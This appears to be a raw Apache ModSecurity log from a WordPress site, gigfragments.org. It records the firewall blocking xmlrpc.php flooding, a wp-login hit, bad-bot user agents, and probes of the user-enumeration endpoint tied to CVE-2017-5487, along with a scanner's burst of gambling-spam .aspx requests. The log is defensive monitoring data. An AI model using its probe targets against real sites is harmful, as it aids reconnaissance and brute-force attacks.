[Thu Feb 19 16:56:11.375174 2026] [:error] [pid 5580:tid 5593] [client 136.113.226.26:51519] [client 136.113.226.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.226.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbQK4V24kZpmf6nh3DZkwAAAck"]
[Thu Feb 19 16:56:13.449885 2026] [:error] [pid 15513:tid 15528] [client 136.113.226.26:58062] [client 136.113.226.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.226.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbQLcGTRTE022JWg1-cdAAAAQ0"]
[Thu Feb 19 16:56:15.341131 2026] [:error] [pid 15513:tid 15518] [client 136.113.226.26:59491] [client 136.113.226.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.226.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbQL8GTRTE022JWg1-cdwAAAQM"]
[Thu Feb 19 16:56:15.341286 2026] [:error] [pid 15513:tid 15518] [client 136.113.226.26:59491] [client 136.113.226.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 136.113.226.26, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbQL8GTRTE022JWg1-cdwAAAQM"]
[Thu Feb 19 17:07:11.822464 2026] [:error] [pid 5581:tid 5619] [client 74.7.242.62:47308] [client 74.7.242.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.242.62, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbSv3IfW0xlXmrVd3qk2QAAAgg"], referer: https://gigfragments.org/
[Thu Feb 19 18:22:35.244366 2026] [:error] [pid 48903:tid 48978] [client 193.37.32.200:28345] [client 193.37.32.200] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZbka46aTgKrpAR115vUFAAAAI0"]
[Thu Feb 19 18:22:35.598393 2026] [:error] [pid 48901:tid 48923] [client 193.37.32.209:63845] [client 193.37.32.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZbka8ixYz-lHbN0WBKhCQAAAA0"]
[Thu Feb 19 19:27:23.229307 2026] [:error] [pid 48902:tid 48953] [client 34.173.105.121:52443] [client 34.173.105.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.105.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbzm2cJ-6aYRpRRFsUh5AAAAE8"]
[Thu Feb 19 19:27:27.039602 2026] [:error] [pid 48902:tid 48941] [client 34.173.105.121:52443] [client 34.173.105.121] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZbzn2cJ-6aYRpRRFsUh5wAAAEM"]
[Thu Feb 19 19:27:28.756997 2026] [:error] [pid 48902:tid 48940] [client 34.173.105.121:52443] [client 34.173.105.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.105.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbzoGcJ-6aYRpRRFsUh6wAAAEI"]
[Thu Feb 19 19:27:30.652060 2026] [:error] [pid 24048:tid 24062] [client 34.173.105.121:51301] [client 34.173.105.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.105.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbzomug6wHHqU0QyDboxgAAAUw"]
[Thu Feb 19 19:27:32.571789 2026] [:error] [pid 5581:tid 5628] [client 34.173.105.121:60367] [client 34.173.105.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.105.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbzpHIfW0xlXmrVd3rA5AAAAhE"]
[Thu Feb 19 19:27:34.430441 2026] [:error] [pid 48903:tid 48968] [client 34.173.105.121:64805] [client 34.173.105.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.105.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbzpo6aTgKrpAR115vh2AAAAIM"]
[Thu Feb 19 19:34:44.671292 2026] [:error] [pid 24048:tid 24066] [client 179.43.191.19:46454] [client 179.43.191.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.43.191.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZb1VGug6wHHqU0QyDbqdgAAAVA"], referer: gigfragments.org
[Thu Feb 19 22:12:46.528501 2026] [:error] [pid 15513:tid 15531] [client 34.23.125.77:56451] [client 34.23.125.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.125.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZcaXsGTRTE022JWg18GeAAAARA"]
[Thu Feb 19 22:12:50.145436 2026] [:error] [pid 15513:tid 15520] [client 34.23.125.77:56451] [client 34.23.125.77] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZcaYsGTRTE022JWg18GfQAAAQU"]
[Thu Feb 19 22:12:51.680335 2026] [:error] [pid 15513:tid 15515] [client 34.23.125.77:56451] [client 34.23.125.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.125.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZcaY8GTRTE022JWg18GfwAAAQA"]
[Thu Feb 19 22:12:53.733805 2026] [:error] [pid 48903:tid 48972] [client 34.23.125.77:50045] [client 34.23.125.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.125.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZcaZY6aTgKrpAR115sDhgAAAIc"]
[Thu Feb 19 22:12:55.863180 2026] [:error] [pid 5581:tid 5625] [client 34.23.125.77:50007] [client 34.23.125.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.125.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZcaZ3IfW0xlXmrVd3rf7QAAAg4"]
[Thu Feb 19 22:12:58.244427 2026] [:error] [pid 5580:tid 5596] [client 34.23.125.77:53874] [client 34.23.125.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.125.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZcaaoV24kZpmf6nh3AXOQAAAcw"]
[Thu Feb 19 22:13:00.547412 2026] [:error] [pid 48902:tid 48947] [client 34.23.125.77:59404] [client 34.23.125.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.125.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZcabGcJ-6aYRpRRFsU_9gAAAEk"]
[Thu Feb 19 22:13:00.547634 2026] [:error] [pid 48902:tid 48947] [client 34.23.125.77:59404] [client 34.23.125.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.23.125.77, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZcabGcJ-6aYRpRRFsU_9gAAAEk"]
[Fri Feb 20 00:52:37.771815 2026] [:error] [pid 48901:tid 48914] [client 43.153.113.127:46308] [client 43.153.113.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZc_1cixYz-lHbN0WBIGaQAAAAQ"]
[Fri Feb 20 01:51:10.511432 2026] [:error] [pid 48901:tid 48910] [client 5.135.131.226:60890] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZdNjsixYz-lHbN0WBIXUgAAAAA"]
[Fri Feb 20 01:51:12.629367 2026] [:error] [pid 24048:tid 24051] [client 5.135.131.226:41664] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZdNkGug6wHHqU0QyDY8wQAAAUE"]
[Fri Feb 20 01:51:14.478788 2026] [:error] [pid 24048:tid 24071] [client 5.135.131.226:41674] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZdNkmug6wHHqU0QyDY8wgAAAVU"]
[Fri Feb 20 01:51:16.341594 2026] [:error] [pid 24048:tid 24072] [client 5.135.131.226:37166] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZdNlGug6wHHqU0QyDY8xQAAAVY"]
[Fri Feb 20 01:51:18.326658 2026] [:error] [pid 48902:tid 48953] [client 5.135.131.226:37176] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZdNlmcJ-6aYRpRRFsVkOAAAAE8"]
[Fri Feb 20 01:51:20.266524 2026] [:error] [pid 15513:tid 15518] [client 5.135.131.226:37190] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZdNmMGTRTE022JWg188cgAAAQM"]
[Fri Feb 20 01:51:22.242494 2026] [:error] [pid 48902:tid 48941] [client 5.135.131.226:37192] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZdNmmcJ-6aYRpRRFsVkPAAAAEM"]
[Fri Feb 20 01:51:24.304655 2026] [:error] [pid 24048:tid 24051] [client 5.135.131.226:37208] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZdNnGug6wHHqU0QyDY85AAAAUE"]
[Fri Feb 20 01:51:26.244178 2026] [:error] [pid 48901:tid 48915] [client 5.135.131.226:36360] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZdNnsixYz-lHbN0WBIXXwAAAAU"]
[Fri Feb 20 01:51:28.102395 2026] [:error] [pid 5548:tid 5560] [client 5.135.131.226:36366] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZdNoJMpsAkdKxbTbsPuXQAAAYk"]
[Fri Feb 20 01:51:30.200461 2026] [:error] [pid 5581:tid 5633] [client 5.135.131.226:36378] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZdNonIfW0xlXmrVd3oSagAAAhY"]
[Fri Feb 20 01:51:32.025238 2026] [:error] [pid 5581:tid 5612] [client 5.135.131.226:36386] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZdNpHIfW0xlXmrVd3oSbQAAAgE"]
[Fri Feb 20 01:51:33.939356 2026] [:error] [pid 49002:tid 49019] [client 5.135.131.226:36394] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZdNpVfcBtQ6hSJuEQmb4wAAAMU"]
[Fri Feb 20 01:51:35.864048 2026] [:error] [pid 24048:tid 24061] [client 5.135.131.226:36406] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZdNp2ug6wHHqU0QyDY86QAAAUs"]
[Fri Feb 20 01:51:37.671487 2026] [:error] [pid 48903:tid 48988] [client 5.135.131.226:52440] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZdNqY6aTgKrpAR115ssRgAAAJc"]
[Fri Feb 20 01:51:39.504651 2026] [:error] [pid 48903:tid 48975] [client 5.135.131.226:52456] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZdNq46aTgKrpAR115ssSgAAAIo"]
[Fri Feb 20 01:51:41.329711 2026] [:error] [pid 5548:tid 5555] [client 5.135.131.226:52472] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZdNrZMpsAkdKxbTbsPuZwAAAYQ"]
[Fri Feb 20 01:51:43.141236 2026] [:error] [pid 24048:tid 24053] [client 5.135.131.226:52478] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZdNr2ug6wHHqU0QyDY88QAAAUM"]
[Fri Feb 20 01:51:44.995250 2026] [:error] [pid 48901:tid 48918] [client 5.135.131.226:52482] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZdNsMixYz-lHbN0WBIXawAAAAg"]
[Fri Feb 20 01:51:46.860469 2026] [:error] [pid 48902:tid 48955] [client 5.135.131.226:52756] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZdNsmcJ-6aYRpRRFsVkSwAAAFE"]
[Fri Feb 20 01:51:48.942360 2026] [:error] [pid 48903:tid 48965] [client 5.135.131.226:52766] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZdNtI6aTgKrpAR115ssTwAAAIA"]
[Fri Feb 20 01:51:50.863206 2026] [:error] [pid 48901:tid 48934] [client 5.135.131.226:52780] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZdNtsixYz-lHbN0WBIXdAAAABg"]
[Fri Feb 20 01:51:52.770069 2026] [:error] [pid 48903:tid 48969] [client 5.135.131.226:52796] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZdNuI6aTgKrpAR115ssVAAAAIQ"]
[Fri Feb 20 01:51:54.681030 2026] [:error] [pid 48901:tid 48918] [client 5.135.131.226:52812] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZdNusixYz-lHbN0WBIXeAAAAAg"]
[Fri Feb 20 01:51:56.618194 2026] [:error] [pid 5548:tid 5562] [client 5.135.131.226:51704] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZdNvJMpsAkdKxbTbsPudwAAAYs"]
[Fri Feb 20 01:51:58.532374 2026] [:error] [pid 5580:tid 5595] [client 5.135.131.226:51714] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZdNvoV24kZpmf6nh3A-gwAAAcs"]
[Fri Feb 20 01:52:00.443148 2026] [:error] [pid 48902:tid 48961] [client 5.135.131.226:51720] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZdNwGcJ-6aYRpRRFsVkVQAAAFc"]
[Fri Feb 20 01:52:02.335215 2026] [:error] [pid 15513:tid 15516] [client 5.135.131.226:51730] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aZdNwsGTRTE022JWg188lQAAAQE"]
[Fri Feb 20 01:52:04.364992 2026] [:error] [pid 5580:tid 5586] [client 5.135.131.226:51742] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aZdNxIV24kZpmf6nh3A-hwAAAcM"]
[Fri Feb 20 01:52:06.387330 2026] [:error] [pid 48901:tid 48918] [client 5.135.131.226:36536] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aZdNxsixYz-lHbN0WBIXjQAAAAg"]
[Fri Feb 20 01:52:41.506741 2026] [:error] [pid 48902:tid 48952] [client 5.135.131.226:36552] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZdN6WcJ-6aYRpRRFsVkfAAAAE4"]
[Fri Feb 20 01:52:43.322833 2026] [:error] [pid 48903:tid 48978] [client 5.135.131.226:50772] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZdN646aTgKrpAR115ssggAAAI0"]
